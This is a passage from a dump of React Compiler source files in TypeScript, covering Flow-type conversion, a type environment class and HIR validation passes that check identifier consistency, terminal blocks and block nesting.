Symbol();\nexport type LinearId = number & {\n  [opaqueLinearId]: 'LinearId';\n};\n\nexport function makeLinearId(id: number): LinearId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected LinearId id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as LinearId;\n}\n\nconst opaqueTypeParameterId = Symbol();\nexport type TypeParameterId = number & {\n  [opaqueTypeParameterId]: 'TypeParameterId';\n};\n\nexport function makeTypeParameterId(id: number): TypeParameterId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected TypeParameterId to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as TypeParameterId;\n}\n\nconst opaqueNominalId = Symbol();\nexport type NominalId = number & {\n  [opaqueNominalId]: 'NominalId';\n};\n\nexport function makeNominalId(id: number): NominalId {\n  return id as NominalId;\n}\n\nconst opaqueVariableId = Symbol();\nexport type VariableId = number & {\n  [opaqueVariableId]: 'VariableId';\n};\n\nexport function makeVariableId(id: number): VariableId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected VariableId id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as VariableId;\n}\n\nexport function printConcrete<T>(\n  type: ConcreteType<T>,\n  printType: (_: T) => string,\n): string {\n  switch (type.kind) {\n    case 'Mixed':\n      return 'mixed';\n    case 'Number':\n      return 'number';\n    case 'String':\n      return 'string';\n    case 'Boolean':\n      return 'boolean';\n    case 'Void':\n      return 'void';\n    case 'Nullable':\n      return `${printType(type.type)} | void`;\n    case 'Array':\n      return `Array<${printType(type.element)}>`;\n    case 'Set':\n      return `Set<${printType(type.element)}>`;\n    case 'Map':\n      return `Map<${printType(type.key)}, ${printType(type.value)}>`;\n    case 'Function': {\n      const typeParams = type.typeParameters\n        ? `<${type.typeParameters.map(tp => `T${tp}`).join(', ')}>`\n        : '';\n      const params = type.params.map(printType).join(', ');\n      const returnType = printType(type.returnType);\n      return `${typeParams}(${params}) => ${returnType}`;\n    }\n    case 'Component': {\n      const params = [...type.props.entries()]\n        .map(([k, v]) => `${k}: ${printType(v)}`)\n        .join(', ');\n      const comma = type.children != null && type.props.size > 0 ? ', ' : '';\n      const children =\n        type.children != null ? `children: ${printType(type.children)}` : '';\n      return `component (${params}${comma}${children})`;\n    }\n    case 'Generic':\n      return `T${type.id}`;\n    case 'Object': {\n      const name = `Object [${[...type.members.keys()].map(key => JSON.stringify(key)).join(', ')}]`;\n      return `${name}`;\n    }\n    case 'Tuple': {\n      const name = `Tuple ${type.members}`;\n      return `${name}`;\n    }\n    case 'Structural': {\n      const name = `Structural ${type.id}`;\n      return `${name}`;\n    }\n    case 'Enum': {\n      return 'TODO enum printing';\n    }\n    case 'Union': {\n      return type.members.map(printType).join(' | ');\n    }\n    case 'Instance': {\n      return type.name;\n    }\n    default:\n      assertExhaustive(type, `Unknown type: ${JSON.stringify(type)}`);\n  }\n}\n\nexport function printType(type: Type): string {\n  switch (type.kind) {\n    case 'Concrete':\n      return printConcrete(type.type, printType);\n    case 'Variable':\n      return `$${type.id}`;\n    default:\n      assertExhaustive(type, `Unknown type: ${JSON.stringify(type)}`);\n  }\n}\n\nexport function printResolved(type: ResolvedType): string {\n  return printConcrete(type.type, printResolved);\n}\n\ntype Platform = 'client' | 'server' | 'shared';\n\nconst DUMMY_NOMINAL = makeNominalId(0);\n\nfunction convertFlowType(flowType: FlowType, loc: string): ResolvedType {\n  let nextGenericId = 0;\n  function convertFlowTypeImpl(\n    flowType: FlowType,\n    loc: string,\n    genericEnv: Map<string, TypeParameterId>,\n    platform: Platform,\n    poly: null | Array<TypeParameter<ResolvedType>> = null,\n  ): ResolvedType {\n    switch (flowType.kind) {\n      case 'TypeApp': {\n        if (\n          flowType.type.kind === 'Def' &&\n          flowType.type.def.kind === 'Poly' &&\n          flowType.type.def.t_out.kind === 'Def' &&\n          flowType.type.def.t_out.def.kind === 'Type' &&\n          flowType.type.def.t_out.def.type.kind === 'Opaque' &&\n          flowType.type.def.t_out.def.type.opaquetype.opaque_name ===\n            'Client' &&\n          flowType.targs.length === 1\n        ) {\n          return convertFlowTypeImpl(\n            flowType.targs[0],\n            loc,\n            genericEnv,\n            'client',\n          );\n        } else if (\n          flowType.type.kind === 'Def' &&\n          flowType.type.def.kind === 'Poly' &&\n          flowType.type.def.t_out.kind === 'Def' &&\n          flowType.type.def.t_out.def.kind === 'Type' &&\n          flowType.type.def.t_out.def.type.kind === 'Opaque' &&\n          flowType.type.def.t_out.def.type.opaquetype.opaque_name ===\n            'Server' &&\n          flowType.targs.length === 1\n        ) {\n          return convertFlowTypeImpl(\n            flowType.targs[0],\n            loc,\n            genericEnv,\n            'server',\n          );\n        }\n        return Resolved.todo(platform);\n      }\n      case 'Open':\n        return Resolved.mixed(platform);\n      case 'Any':\n        return Resolved.todo(platform);\n      case 'Annot':\n        return convertFlowTypeImpl(\n          flowType.type,\n          loc,\n          genericEnv,\n          platform,\n          poly,\n        );\n      case 'Opaque': {\n        if (\n          flowType.opaquetype.opaque_name === 'Client' &&\n          flowType.opaquetype.super_t != null\n        ) {\n          return convertFlowTypeImpl(\n            flowType.opaquetype.super_t,\n            loc,\n            genericEnv,\n            'client',\n          );\n        }\n        if (\n          flowType.opaquetype.opaque_name === 'Server' &&\n          flowType.opaquetype.super_t != null\n        ) {\n          return convertFlowTypeImpl(\n            flowType.opaquetype.super_t,\n            loc,\n            genericEnv,\n            'server',\n          );\n        }\n        const t =\n          flowType.opaquetype.underlying_t ?? flowType.opaquetype.super_t;\n        if (t != null) {\n          return convertFlowTypeImpl(t, loc, genericEnv, platform, poly);\n        } else {\n          return Resolved.todo(platform);\n        }\n      }\n      case 'Def': {\n        switch (flowType.def.kind) {\n          case 'EnumValue':\n            return convertFlowTypeImpl(\n              flowType.def.enum_info.representation_t,\n              loc,\n              genericEnv,\n              platform,\n              poly,\n            );\n          case 'EnumObject':\n            return Resolved.enum(platform);\n          case 'Empty':\n            return Resolved.todo(platform);\n          case 'Instance': {\n            const members = new Map<string, ResolvedType>();\n            for (const key in flowType.def.instance.inst.own_props) {\n              const prop = flowType.def.instance.inst.own_props[key];\n              if (prop.kind === 'Field') {\n                members.set(\n                  key,\n                  convertFlowTypeImpl(prop.type, loc, genericEnv, platform),\n                );\n              } else {\n                CompilerError.invariant(false, {\n                  reason: `Unsupported property kind ${prop.kind}`,\n                  loc: GeneratedSource,\n                });\n              }\n            }\n            return Resolved.class(\n              flowType.def.instance.inst.class_name ?? '[anonymous class]',\n              members,\n              platform,\n            );\n          }\n          case 'Type':\n            return convertFlowTypeImpl(\n              flowType.def.type,\n              loc,\n              genericEnv,\n              platform,\n              poly,\n            );\n          case 'NumGeneral':\n          case 'SingletonNum':\n            return Resolved.number(platform);\n          case 'StrGeneral':\n          case 'SingletonStr':\n            return Resolved.string(platform);\n          case 'BoolGeneral':\n          case 'SingletonBool':\n            return Resolved.boolean(platform);\n          case 'Void':\n            return Resolved.void(platform);\n          case 'Null':\n            return Resolved.void(platform);\n          case 'Mixed':\n            return Resolved.mixed(platform);\n          case 'Arr': {\n            if (\n              flowType.def.arrtype.kind === 'ArrayAT' ||\n              flowType.def.arrtype.kind === 'ROArrayAT'\n            ) {\n              return Resolved.array(\n                convertFlowTypeImpl(\n                  flowType.def.arrtype.elem_t,\n                  loc,\n                  genericEnv,\n                  platform,\n                ),\n                platform,\n              );\n            } else {\n              return Resolved.tuple(\n                DUMMY_NOMINAL,\n                flowType.def.arrtype.elements.map(t =>\n                  convertFlowTypeImpl(t.t, loc, genericEnv, platform),\n                ),\n                platform,\n              );\n            }\n          }\n          case 'Obj': {\n            const members = new Map<string, ResolvedType>();\n            for (const key in flowType.def.objtype.props) {\n              const prop = flowType.def.objtype.props[key];\n              if (prop.kind === 'Field') {\n                members.set(\n                  key,\n                  convertFlowTypeImpl(prop.type, loc, genericEnv, platform),\n                );\n              } else {\n                CompilerError.invariant(false, {\n                  reason: `Unsupported property kind ${prop.kind}`,\n                  loc: GeneratedSource,\n                });\n              }\n            }\n            return Resolved.object(DUMMY_NOMINAL, members, platform);\n          }\n          case 'Class': {\n            if (flowType.def.type.kind === 'ThisInstance') {\n              const members = new Map<string, ResolvedType>();\n              for (const key in flowType.def.type.instance.inst.own_props) {\n                const prop = flowType.def.type.instance.inst.own_props[key];\n                if (prop.kind === 'Field') {\n                  members.set(\n                    key,\n                    convertFlowTypeImpl(prop.type, loc, genericEnv, platform),\n                  );\n                } else {\n                  CompilerError.invariant(false, {\n                    reason: `Unsupported property kind ${prop.kind}`,\n                    loc: GeneratedSource,\n                  });\n                }\n              }\n              return Resolved.class(\n                flowType.def.type.instance.inst.class_name ??\n                  '[anonymous class]',\n                members,\n                platform,\n              );\n            }\n            CompilerError.invariant(false, {\n              reason: `Unsupported class instance type ${flowType.def.type.kind}`,\n              loc: GeneratedSource,\n            });\n          }\n          case 'Fun':\n            return Resolved.function(\n              poly,\n              flowType.def.funtype.params.map(p =>\n                convertFlowTypeImpl(p.type, loc, genericEnv, platform),\n              ),\n              convertFlowTypeImpl(\n                flowType.def.funtype.return_t,\n                loc,\n                genericEnv,\n                platform,\n              ),\n              platform,\n            );\n          case 'Poly': {\n            let newEnv = genericEnv;\n            const poly = flowType.def.tparams.map(p => {\n              const id = makeTypeParameterId(nextGenericId++);\n              const bound = convertFlowTypeImpl(p.bound, loc, newEnv, platform);\n              newEnv = new Map(newEnv);\n              newEnv.set(p.name, id);\n              return {\n                name: p.name,\n                id,\n                bound,\n              };\n            });\n            return convertFlowTypeImpl(\n              flowType.def.t_out,\n              loc,\n              newEnv,\n              platform,\n              poly,\n            );\n          }\n          case 'ReactAbstractComponent': {\n            const props = new Map<string, ResolvedType>();\n            let children: ResolvedType | null = null;\n            const propsType = convertFlowTypeImpl(\n              flowType.def.config,\n              loc,\n              genericEnv,\n              platform,\n            );\n\n            if (propsType.type.kind === 'Object') {\n              propsType.type.members.forEach((v, k) => {\n                if (k === 'children') {\n                  children = v;\n                } else {\n                  props.set(k, v);\n                }\n              });\n            } else {\n              CompilerError.invariant(false, {\n                reason: `Unsupported component props type ${propsType.type.kind}`,\n                loc: GeneratedSource,\n              });\n            }\n\n            return Resolved.component(props, children, platform);\n          }\n          case 'Renders':\n            return Resolved.todo(platform);\n          default:\n            TypeErrors.unsupportedTypeAnnotation('Renders', GeneratedSource);\n        }\n      }\n      case 'Generic': {\n        const id = genericEnv.get(flowType.name);\n        if (id == null) {\n          TypeErrors.unsupportedTypeAnnotation(flowType.name, GeneratedSource);\n        }\n        return Resolved.generic(\n          id,\n          platform,\n          convertFlowTypeImpl(flowType.bound, loc, genericEnv, platform),\n        );\n      }\n      case 'Union': {\n        const members = flowType.members.map(t =>\n          convertFlowTypeImpl(t, loc, genericEnv, platform),\n        );\n        if (members.length === 1) {\n          return members[0];\n        }\n        if (\n          members[0].type.kind === 'Number' ||\n          members[0].type.kind === 'String' ||\n          members[0].type.kind === 'Boolean'\n        ) {\n          const dupes = members.filter(\n            t => t.type.kind === members[0].type.kind,\n          );\n          if (dupes.length === members.length) {\n            return members[0];\n          }\n        }\n        if (\n          members[0].type.kind === 'Array' &&\n          (members[0].type.element.type.kind === 'Number' ||\n            members[0].type.element.type.kind === 'String' ||\n            members[0].type.element.type.kind === 'Boolean')\n        ) {\n          const first = members[0].type.element;\n          const dupes = members.filter(\n            t =>\n              t.type.kind === 'Array' &&\n              t.type.element.type.kind === first.type.kind,\n          );\n          if (dupes.length === members.length) {\n            return members[0];\n          }\n        }\n        return Resolved.union(members, platform);\n      }\n      case 'Eval': {\n        if (\n          flowType.destructor.kind === 'ReactDRO' ||\n          flowType.destructor.kind === 'ReactCheckComponentConfig'\n        ) {\n          return convertFlowTypeImpl(\n            flowType.type,\n            loc,\n            genericEnv,\n            platform,\n            poly,\n          );\n        }\n        TypeErrors.unsupportedTypeAnnotation(\n          `EvalT(${flowType.destructor.kind})`,\n          GeneratedSource,\n        );\n      }\n      case 'Optional': {\n        return Resolved.union(\n          [\n            convertFlowTypeImpl(flowType.type, loc, genericEnv, platform),\n            Resolved.void(platform),\n          ],\n          platform,\n        );\n      }\n      default:\n        TypeErrors.unsupportedTypeAnnotation(flowType.kind, GeneratedSource);\n    }\n  }\n  return convertFlowTypeImpl(flowType, loc, new Map(), 'shared');\n}\n\nexport interface ITypeEnv {\n  popGeneric(name: string): void;\n  getGeneric(name: string): null | TypeParameter<ResolvedType>;\n  pushGeneric(\n    name: string,\n    binding: {name: string; id: TypeParameterId; bound: ResolvedType},\n  ): void;\n  getType(id: Identifier): ResolvedType;\n  getTypeOrNull(id: Identifier): ResolvedType | null;\n  setType(id: Identifier, type: ResolvedType): void;\n  nextNominalId(): NominalId;\n  nextTypeParameterId(): TypeParameterId;\n  moduleEnv: Map<string, ResolvedType>;\n  addBinding(bindingIdentifier: t.Identifier, type: ResolvedType): void;\n  resolveBinding(bindingIdentifier: t.Identifier): ResolvedType | null;\n}\n\nfunction serializeLoc(location: t.SourceLocation): string {\n  return `${location.start.line}:${location.start.column}-${location.end.line}:${location.end.column}`;\n}\n\nfunction buildTypeEnvironment(\n  flowOutput: Array<{loc: t.SourceLocation; type: string}>,\n): Map<string, string> {\n  const result: Map<string, string> = new Map();\n  for (const item of flowOutput) {\n    const loc: t.SourceLocation = {\n      start: {\n        line: item.loc.start.line,\n        column: item.loc.start.column - 1,\n        index: item.loc.start.index,\n      },\n      end: item.loc.end,\n      filename: item.loc.filename,\n      identifierName: item.loc.identifierName,\n    };\n\n    result.set(serializeLoc(loc), item.type);\n  }\n  return result;\n}\n\nlet lastFlowSource: string | null = null;\nlet lastFlowResult: any = null;\n\nexport class FlowTypeEnv implements ITypeEnv {\n  moduleEnv: Map<string, ResolvedType> = new Map();\n  #nextNominalId: number = 0;\n  #nextTypeParameterId: number = 0;\n\n  #types: Map<IdentifierId, ResolvedType> = new Map();\n  #bindings: Map<t.Identifier, ResolvedType> = new Map();\n  #generics: Array<[string, TypeParameter<ResolvedType>]> = [];\n  #flowTypes: Map<string, ResolvedType> = new Map();\n\n  init(env: Environment, source: string): void {\n    // TODO: use flow-js only for web environments (e.g. playground)\n    CompilerError.invariant(env.config.flowTypeProvider != null, {\n      reason: 'Expected flowDumpTypes to be defined in environment config',\n      loc: GeneratedSource,\n    });\n    let stdout: any;\n    if (source === lastFlowSource) {\n      stdout = lastFlowResult;\n    } else {\n      lastFlowSource = source;\n      lastFlowResult = env.config.flowTypeProvider(source);\n      stdout = lastFlowResult;\n    }\n    const flowTypes = buildTypeEnvironment(stdout);\n    const resolvedFlowTypes = new Map<string, ResolvedType>();\n    for (const [loc, type] of flowTypes) {\n      if (typeof loc === 'symbol') continue;\n      resolvedFlowTypes.set(loc, convertFlowType(JSON.parse(type), loc));\n    }\n    // =console.log(resolvedFlowTypes);\n    this.#flowTypes = resolvedFlowTypes;\n  }\n\n  setType(identifier: Identifier, type: ResolvedType): void {\n    if (\n      typeof identifier.loc !== 'symbol' &&\n      this.#flowTypes.has(serializeLoc(identifier.loc))\n    ) {\n      return;\n    }\n    this.#types.set(identifier.id, type);\n  }\n\n  getType(identifier: Identifier): ResolvedType {\n    const result = this.getTypeOrNull(identifier);\n    if (result == null) {\n      throw new Error(\n        `Type not found for ${identifier.id}, ${typeof identifier.loc === 'symbol' ? 'generated loc' : serializeLoc(identifier.loc)}`,\n      );\n    }\n    return result;\n  }\n\n  getTypeOrNull(identifier: Identifier): ResolvedType | null {\n    const result = this.#types.get(identifier.id) ?? null;\n    if (result == null && typeof identifier.loc !== 'symbol') {\n      const flowType = this.#flowTypes.get(serializeLoc(identifier.loc));\n      return flowType ?? null;\n    }\n    return result;\n  }\n\n  getTypeByLoc(loc: SourceLocation): ResolvedType | null {\n    if (typeof loc === 'symbol') {\n      return null;\n    }\n    const flowType = this.#flowTypes.get(serializeLoc(loc));\n    return flowType ?? null;\n  }\n\n  nextNominalId(): NominalId {\n    return makeNominalId(this.#nextNominalId++);\n  }\n\n  nextTypeParameterId(): TypeParameterId {\n    return makeTypeParameterId(this.#nextTypeParameterId++);\n  }\n\n  addBinding(bindingIdentifier: t.Identifier, type: ResolvedType): void {\n    this.#bindings.set(bindingIdentifier, type);\n  }\n\n  resolveBinding(bindingIdentifier: t.Identifier): ResolvedType | null {\n    return this.#bindings.get(bindingIdentifier) ?? null;\n  }\n\n  pushGeneric(name: string, generic: TypeParameter<ResolvedType>): void {\n    this.#generics.unshift([name, generic]);\n  }\n\n  popGeneric(name: string): void {\n    for (let i = 0; i < this.#generics.length; i++) {\n      if (this.#generics[i][0] === name) {\n        this.#generics.splice(i, 1);\n        return;\n      }\n    }\n  }\n\n  /**\n   * Look up bound polymorphic types\n   * @param name\n   * @returns\n   */\n  getGeneric(name: string): null | TypeParameter<ResolvedType> {\n    for (const [eltName, param] of this.#generics) {\n      if (name === eltName) {\n        return param;\n      }\n    }\n    return null;\n  }\n}\nconst Primitives = {\n  number(platform: Platform): Type & ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Number'}, platform};\n  },\n  string(platform: Platform): Type & ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'String'}, platform};\n  },\n  boolean(platform: Platform): Type & ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Boolean'}, platform};\n  },\n  void(platform: Platform): Type & ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Void'}, platform};\n  },\n  mixed(platform: Platform): Type & ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Mixed'}, platform};\n  },\n  enum(platform: Platform): Type & ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Enum'}, platform};\n  },\n  todo(platform: Platform): Type & ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Mixed'}, platform};\n  },\n};\n\nexport const Resolved = {\n  ...Primitives,\n  nullable(type: ResolvedType, platform: Platform): ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Nullable', type}, platform};\n  },\n  array(element: ResolvedType, platform: Platform): ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Array', element}, platform};\n  },\n  set(element: ResolvedType, platform: Platform): ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Set', element}, platform};\n  },\n  map(\n    key: ResolvedType,\n    value: ResolvedType,\n    platform: Platform,\n  ): ResolvedType {\n    return {kind: 'Concrete', type: {kind: 'Map', key, value}, platform};\n  },\n  function(\n    typeParameters: null | Array<TypeParameter<ResolvedType>>,\n    params: Array<ResolvedType>,\n    returnType: ResolvedType,\n    platform: Platform,\n  ): ResolvedType {\n    return {\n      kind: 'Concrete',\n      type: {kind: 'Function', typeParameters, params, returnType},\n      platform,\n    };\n  },\n  component(\n    props: Map<string, ResolvedType>,\n    children: ResolvedType | null,\n    platform: Platform,\n  ): ResolvedType {\n    return {\n      kind: 'Concrete',\n      type: {kind: 'Component', props, children},\n      platform,\n    };\n  },\n  object(\n    id: NominalId,\n    members: Map<string, ResolvedType>,\n    platform: Platform,\n  ): ResolvedType {\n    return {\n      kind: 'Concrete',\n      type: {\n        kind: 'Object',\n        id,\n        members,\n      },\n      platform,\n    };\n  },\n  class(\n    name: string,\n    members: Map<string, ResolvedType>,\n    platform: Platform,\n  ): ResolvedType {\n    return {\n      kind: 'Concrete',\n      type: {\n        kind: 'Instance',\n        name,\n        members,\n      },\n      platform,\n    };\n  },\n  tuple(\n    id: NominalId,\n    members: Array<ResolvedType>,\n    platform: Platform,\n  ): ResolvedType {\n    return {\n      kind: 'Concrete',\n      type: {\n        kind: 'Tuple',\n        id,\n        members,\n      },\n      platform,\n    };\n  },\n  generic(\n    id: TypeParameterId,\n    platform: Platform,\n    bound = Primitives.mixed(platform),\n  ): ResolvedType {\n    return {\n      kind: 'Concrete',\n      type: {\n        kind: 'Generic',\n        id,\n        bound,\n      },\n      platform,\n    };\n  },\n  union(members: Array<ResolvedType>, platform: Platform): ResolvedType {\n    return {\n      kind: 'Concrete',\n      type: {\n        kind: 'Union',\n        members,\n      },\n      platform,\n    };\n  },\n};\n\n/*\n * export const Types = {\n *   ...Primitives,\n *   variable(env: TypeEnv): Type {\n *     return env.nextTypeVariable();\n *   },\n *   nullable(type: Type): Type {\n *     return {kind: 'Concrete', type: {kind: 'Nullable', type}};\n *   },\n *   array(element: Type): Type {\n *     return {kind: 'Concrete', type: {kind: 'Array', element}};\n *   },\n *   set(element: Type): Type {\n *     return {kind: 'Concrete', type: {kind: 'Set', element}};\n *   },\n *   map(key: Type, value: Type): Type {\n *     return {kind: 'Concrete', type: {kind: 'Map', key, value}};\n *   },\n *   function(\n *     typeParameters: null | Array<TypeParameter<Type>>,\n *     params: Array<Type>,\n *     returnType: Type,\n *   ): Type {\n *     return {\n *       kind: 'Concrete',\n *       type: {kind: 'Function', typeParameters, params, returnType},\n *     };\n *   },\n *   component(\n *     props: Map<string, ResolvedType>,\n *     children: Type | null,\n *   ): Type {\n *     return {\n *       kind: 'Concrete',\n *       type: {kind: 'Component', props, children},\n *     };\n *   },\n *   object(id: NominalId, members: Map<string, ResolvedType>): Type {\n *     return {\n *       kind: 'Concrete',\n *       type: {\n *         kind: 'Object',\n *         id,\n *         members,\n *       },\n *     };\n *   },\n * };\n */\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/AssertConsistentIdentifiers.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {\n  GeneratedSource,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n  SourceLocation,\n} from './HIR';\nimport {printPlace} from './PrintHIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from './visitors';\n\n/*\n * Validation pass to check that there is a 1:1 mapping between Identifier objects and IdentifierIds,\n * ie there can only be one Identifier instance per IdentifierId.\n */\nexport function assertConsistentIdentifiers(fn: HIRFunction): void {\n  const identifiers: Identifiers = new Map();\n  const assignments: Set<IdentifierId> = new Set();\n  for (const [, block] of fn.body.blocks) {\n    for (const phi of block.phis) {\n      validate(identifiers, phi.place.identifier);\n      for (const [, operand] of phi.operands) {\n        validate(identifiers, operand.identifier);\n      }\n    }\n    for (const instr of block.instructions) {\n      CompilerError.invariant(instr.lvalue.identifier.name === null, {\n        reason: `Expected all lvalues to be temporaries`,\n        description: `Found named lvalue \\`${instr.lvalue.identifier.name}\\``,\n        loc: instr.lvalue.loc,\n      });\n      CompilerError.invariant(!assignments.has(instr.lvalue.identifier.id), {\n        reason: `Expected lvalues to be assigned exactly once`,\n        description: `Found duplicate assignment of '${printPlace(\n          instr.lvalue,\n        )}'`,\n        loc: instr.lvalue.loc,\n      });\n      assignments.add(instr.lvalue.identifier.id);\n      for (const operand of eachInstructionLValue(instr)) {\n        validate(identifiers, operand.identifier, operand.loc);\n      }\n      for (const operand of eachInstructionValueOperand(instr.value)) {\n        validate(identifiers, operand.identifier, operand.loc);\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      validate(identifiers, operand.identifier, operand.loc);\n    }\n  }\n}\n\ntype Identifiers = Map<IdentifierId, Identifier>;\n\nfunction validate(\n  identifiers: Identifiers,\n  identifier: Identifier,\n  loc: SourceLocation | null = null,\n): void {\n  const previous = identifiers.get(identifier.id);\n  if (previous === undefined) {\n    identifiers.set(identifier.id, identifier);\n  } else {\n    CompilerError.invariant(identifier === previous, {\n      reason: `Duplicate identifier object`,\n      description: `Found duplicate identifier object for id ${identifier.id}`,\n      loc: loc ?? GeneratedSource,\n    });\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/AssertTerminalBlocksExist.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '../CompilerError';\nimport {GeneratedSource, HIRFunction} from './HIR';\nimport {printTerminal} from './PrintHIR';\nimport {eachTerminalSuccessor, mapTerminalSuccessors} from './visitors';\n\nexport function assertTerminalSuccessorsExist(fn: HIRFunction): void {\n  for (const [, block] of fn.body.blocks) {\n    mapTerminalSuccessors(block.terminal, successor => {\n      CompilerError.invariant(fn.body.blocks.has(successor), {\n        reason: `Terminal successor references unknown block`,\n        description: `Block bb${successor} does not exist for terminal '${printTerminal(\n          block.terminal,\n        )}'`,\n        loc: (block.terminal as any).loc ?? GeneratedSource,\n      });\n      return successor;\n    });\n  }\n}\n\nexport function assertTerminalPredsExist(fn: HIRFunction): void {\n  for (const [, block] of fn.body.blocks) {\n    for (const pred of block.preds) {\n      const predBlock = fn.body.blocks.get(pred);\n      CompilerError.invariant(predBlock != null, {\n        reason: 'Expected predecessor block to exist',\n        description: `Block ${block.id} references non-existent ${pred}`,\n        loc: GeneratedSource,\n      });\n      CompilerError.invariant(\n        [...eachTerminalSuccessor(predBlock.terminal)].includes(block.id),\n        {\n          reason: 'Terminal successor does not reference correct predecessor',\n          description: `Block bb${block.id} has bb${predBlock.id} as a predecessor, but bb${predBlock.id}'s successors do not include bb${block.id}`,\n          loc: GeneratedSource,\n        },\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/AssertValidBlockNesting.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerError} from '..';\nimport {\n  BlockId,\n  GeneratedSource,\n  HIRFunction,\n  MutableRange,\n  Place,\n  ReactiveScope,\n  ScopeId,\n} from './HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionOperand,\n  eachTerminalOperand,\n  terminalFallthrough,\n} from './visitors';\n\n/**\n * This pass asserts that program blocks and scopes properly form a tree hierarchy\n * with respect to block and scope ranges. In other words, two ranges must either\n * disjoint or nested.\n *\n * ProgramBlockSubtree = subtree of basic blocks between a terminal and its fallthrough\n * (e.g. continuation in the source AST). This spans every instruction contained within\n * the source AST subtree representing the terminal.\n *\n * In this example, there is a single ProgramBlockSubtree, which spans instructions 1:5\n * ```js\n * function Foo() {\n *   [0] a;\n *   [1] if (cond) {\n *   [2]   b;\n *   [3] } else {\n *   [4]   c;\n *       }\n *   [5] d;\n * }\n * ```\n *\n * Scope = reactive scope whose range has been correctly aligned and merged.\n */\ntype Block =\n  | ({\n      kind: 'ProgramBlockSubtree';\n      id: BlockId;\n    } & MutableRange)\n  | ({\n      kind: 'Scope';\n      id: ScopeId;\n    } & MutableRange);\n\nexport function getScopes(fn: HIRFunction): Set<ReactiveScope> {\n  const scopes: Set<ReactiveScope> = new Set();\n  function visitPlace(place: Place): void {\n    const scope = place.identifier.scope;\n    if (scope != null) {\n      if (scope.range.start !== scope.range.end) {\n        scopes.add(scope);\n      }\n    }\n  }\n\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      for (const operand of eachInstructionLValue(instr)) {\n        visitPlace(operand);\n      }\n\n      for (const operand of eachInstructionOperand(instr)) {\n        visitPlace(operand);\n      }\n    }\n\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      visitPlace(operand);\n    }\n  }\n\n  return scopes;\n}\n\n/**\n * Sort range in ascending order of start instruction, breaking ties\n * with descending order of end instructions. For overlapping ranges, this\n * always orders nested inner range after outer ranges which is identical\n * to the ordering of a pre-order tree traversal.\n * e.g. we order the following ranges to [0, 4], [0, 2], [5, 8]\n * 0  ⌝  ⌝\n * 1  ⌟  |\n * 2     |\n * 3     ⌟\n * 4\n * 5  ⌝\n * 6  |\n * 7  ⌟\n */\nexport function rangePreOrderComparator(\n  a: MutableRange,\n  b: MutableRange,\n): number {\n  const startDiff = a.start - b.start;\n  if (startDiff !== 0) return startDiff;\n  return b.end - a.end;\n}\n\nexport function recursivelyTraverseItems<T, TContext>(\n  items: Array<T>,\n  getRange: (val: T) => MutableRange,\n  context: TContext,\n  enter: (val: T, context: TContext) => void,\n  exit: (val: T, context: TContext) => void,\n): void {\n  items.sort((a, b) => rangePreOrderComparator(getRange(a), getRange(b)));\n  let activeItems: Array<T> = [];\n  const ranges = items.map(getRange);\n  for (let i = 0; i < items.length; i++) {\n    const curr = items[i];\n    const currRange = ranges[i];\n    for (let i = activeItems.length - 1; i >= 0; i--) {\n      const maybeParent = activeItems[i];\n      const maybeParentRange = getRange(maybeParent);\n      const disjoint = currRange.start >= maybeParentRange.end;\n      const nested = currRange.end <= maybeParentRange.end;\n      CompilerError.invariant(disjoint || nested, {\n        reason: 'Invalid nesting in program blocks or scopes',\n        description: `Items overlap but are not nested: ${maybeParentRange.start}:${maybeParentRange.end}(${currRange.start}:${currRange.end})`,\n        loc: GeneratedSource,\n      });\n      if (disjoint) {\n        exit(maybeParent, context);\n        activeItems.length = i;\n      } else {\n        break;\n      }\n    }\n    enter(curr, context);\n    activeItems.push(curr);\n  }\n\n  let curr = activeItems.pop();\n  while (curr != null) {\n    exit(curr, context);\n    curr = activeItems.pop();\n  }\n}\nconst no_op: () => void = () => {};\n\nexport function assertValidBlockNesting(fn: HIRFunction): void {\n  const scopes = getScopes(fn);\n\n  const blocks: Array<Block> = [...scopes].map(scope => ({\n    kind: 'Scope',\n    id: scope.id,\n    ...scope.range,\n  })) as Array<Block>;\n  for (const [, block] of fn.body.blocks) {\n    const fallthroughId = terminalFallthrough(block.terminal);\n    if (fallthroughId != null) {\n      const fallthrough = fn.body.blocks.get(fallthroughId)!;\n      const end = fallthrough.instructions[0]?.id ?? fallthrough.terminal.id;\n      blocks.push({\n        kind: 'ProgramBlockSubtree',\n        id: block.id,\n        start: 